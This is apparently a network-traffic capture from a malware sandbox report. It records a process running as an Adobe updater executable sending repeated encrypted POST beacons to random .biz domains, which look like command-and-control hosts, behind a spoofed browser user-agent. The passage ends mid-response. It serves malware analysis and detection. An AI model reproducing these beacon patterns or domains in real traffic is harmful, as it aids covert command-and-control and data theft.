Oct 31, 2024 16:04:23.663156986 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c1bb8833ae12a80b50d3295b25639ded\|173.254.250.77\|1730387063\|1730387063\|0\|1\|0; path=/; domain=.deoci.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.22	49201	208.100.26.245	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:24.326250076 CET	355	OUT	POST /cbvydfulbhp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:24.326288939 CET	850	OUT	Data Raw: 8a e4 71 aa 54 88 c4 34 46 03 00 00 20 f9 6a 6b 10 95 0b fe 8d 19 1a d9 0f ae 12 58 86 ec e2 ec 34 c2 58 91 1d 53 73 1c c1 d7 50 83 f8 f2 66 3d 29 2b f1 e6 64 2f 06 87 e3 94 6a 57 15 5c d5 d7 67 df 36 24 cf d2 de 67 b6 e7 23 fd c6 26 5d 42 e4 9b Data Ascii: qT4F jkX4XSsPf=)+d/jW\g6$g#&]BI`-5;&%6J"CPw0aASJ6{)NOAa1Q"u6M7#,<(t6WIMrc~N/,=<064)P5~1PYV^
Oct 31, 2024 16:04:24.971899986 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:04:24 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:04:25.016499996 CET	360	OUT	POST /tfwcfihajfsknfdy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:25.016689062 CET	850	OUT	Data Raw: 7f 0a 59 c8 d3 5c b1 11 46 03 00 00 e1 f8 0a 32 0d 82 41 a9 e7 2b 08 1a 8f bb 11 ba dd ce 16 f3 82 58 af de 24 3d ab 73 e8 d8 b8 c9 8c 8e 4f 43 da be 34 5e 00 40 72 02 50 68 cf c5 4b eb 82 31 5c 03 66 dc 26 f5 45 9d 34 5e 05 09 7a c0 79 a2 78 c2 Data Ascii: Y\F2A+X$=sOC4^@rPhK1\f&E4^zyxS'7e`'w-aj3[kpq{N8_ O*uD$N@.[p^iFG_}RJC3}:8<G6[DOxN^Q/VDZ
Oct 31, 2024 16:04:25.341914892 CET	1210	OUT	POST /tfwcfihajfsknfdy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850 Data Raw: 7f 0a 59 c8 d3 5c b1 11 46 03 00 00 e1 f8 0a 32 0d 82 41 a9 e7 2b 08 1a 8f bb 11 ba dd ce 16 f3 82 58 af de 24 3d ab 73 e8 d8 b8 c9 8c 8e 4f 43 da be 34 5e 00 40 72 02 50 68 cf c5 4b eb 82 31 5c 03 66 dc 26 f5 45 9d 34 5e 05 09 7a c0 79 a2 78 c2 53 08 27 11 37 65 60 27 f4 ff 77 2d bc f4 9e 61 6a f1 f3 e4 b5 f3 a2 33 1b 5b 6b b0 81 70 8d 71 96 7b 4e 93 11 38 95 e9 86 5f 20 4f 2a 75 44 24 86 a9 9b f9 bc 16 4e 9a 82 40 b1 a7 00 2e 0d 18 03 f4 5b d6 98 bf 70 9d cb 5e 69 e1 f6 f4 8b eb be 46 db f9 a8 f4 da 47 5f 05 f3 b2 f2 7d a9 52 ea ce a0 84 4a 43 19 33 99 e5 a3 e0 94 dd 90 cf 9e ec 8a 7d cf 3a b2 96 b4 a1 94 38 3c b4 14 47 36 9c 84 5b a0 44 b1 d6 4f a0 07 78 03 e4 4e 5e 17 9c 51 2f ba 8e c1 e6 56 bc 87 ec 44 1b 5a 1c 1e 71 63 33 45 47 8d 46 9f da b7 11 f2 4a 6c 93 b7 92 2f d4 ad c5 50 e7 cb 2b 66 ff 3c 82 26 7d 64 93 ec 40 fa fa 33 9a d0 25 43 31 ca 4c 7c bc 36 00 5a b6 29 f9 04 2e 6d 54 c4 9f 47 c3 c2 26 b0 63 af 21 83 38 4f 85 cd d5 81 b8 ce c1 bf 7c 82 2f 6c 45 0e 85 24 3d 44 60 b6 79 78 d7 6a 6e [TRUNCATED] Data Ascii: Y\F2A+X$=sOC4^@rPhK1\f&E4^zyxS'7e`'w-aj3[kpq{N8_ OuD$N@.[p^iFG_}RJC3}:8<G6[DOxN^Q/VDZqc3EGFJl/P+f<&}d@3%C1L\|6Z).mTG&c!8O\|/lE$=D`yxjn5f6l9l6?S'zA4%(FtyT_wn4d=~7W(2&o2<.irei,^^,-IXi&LbAiMb8(^P;`Rq;zO)\njp1br{ xEYh W/TR2Bqy""AwFb.lbFD8tWv@s"RJb)Sc{cME!"?Yi$jpq$tv-V(m5/D!EN2@O9`wtFM}_]26#.h}SQ&\~0HaNY^/qg`KWB4OwX=RQ{uO'e&Mt9jC%eF1"
Oct 31, 2024 16:04:25.524224043 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:04:24 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:04:25.524252892 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:04:24 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:04:25.672127962 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:04:25 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:04:25.887967110 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:04:25 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:04:36.267059088 CET	351	OUT	POST /sqabwdma HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:36.267106056 CET	850	OUT	Data Raw: f7 28 9a a2 26 b7 da 5d 46 03 00 00 28 14 91 78 85 2a 44 30 72 47 f7 80 ab 8d e9 f0 12 68 4e fd 15 dd 25 67 cc 2e b2 53 84 f8 ad c8 86 7e b0 dd 79 a8 4b 43 17 fb 58 77 ee a1 e6 b6 3c b9 51 70 6a 39 62 74 16 5b c7 07 27 88 92 5f c8 a4 6e 3e 76 6f Data Ascii: (&]F(x*D0rGhN%g.S~yKCXw<Qpj9bt['_n>voPF]PX!WO"H2-nb0 k'HHMw\|ei6=&\|V<Kz5x>Wq/^]kUF8eI58D zF#PZ(.0
Oct 31, 2024 16:04:36.415535927 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:04:36 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:04:36.434501886 CET	352	OUT	POST /leerrgpve HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:36.434544086 CET	850	OUT	Data Raw: 28 be 17 2c 40 fd 07 99 46 03 00 00 cd 42 a5 72 01 9d a4 0a a8 df 09 76 58 04 18 97 d6 a0 ee ee 68 9d 3e a8 fd 6b 0e 18 63 6b b0 02 a1 e2 02 62 26 47 03 ab d8 92 62 50 01 9c ca 38 81 71 47 4b c6 41 3e 70 57 0e 39 f9 98 c4 c8 11 54 0f 71 bf af fa Data Ascii: (,@FBrvXh>kckb&GbP8qGKA>pW9Tq0:Kq[.]eGzQhI:JQ!v1%*8+WjN)slqIr6piMK4o6z}w_;L,Q0~7$>W4$T@54~
Oct 31, 2024 16:04:36.584119081 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:04:36 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:04:36.799782991 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:04:36 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:05:21.978590012 CET	355	OUT	POST /cmbgomxflm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gjogvvpsf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:21.978617907 CET	850	OUT	Data Raw: 09 84 5f 19 78 67 68 25 46 03 00 00 3f 1c dd d8 99 2a 78 f3 3e 15 e9 77 7a 3d 40 da 95 41 9b 1a b3 d6 f4 af aa 67 a6 0c a5 2d f8 7a a9 80 0a b9 06 eb 5b aa 49 1d 52 36 2d 6c e0 57 49 df 20 4e d5 94 0d e3 71 fc 41 d9 3e 24 0b fc 94 7c 74 d8 e8 dd Data Ascii: _xgh%F?*x>wz=@Ag-z[IR6-lWI NqA>$\|t#Z%F3Rxa4%%2x/:_"zN[mY; X?b;yS:.E(637,q9Yw7PbV '!
Oct 31, 2024 16:05:22.128537893 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:05:22 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable 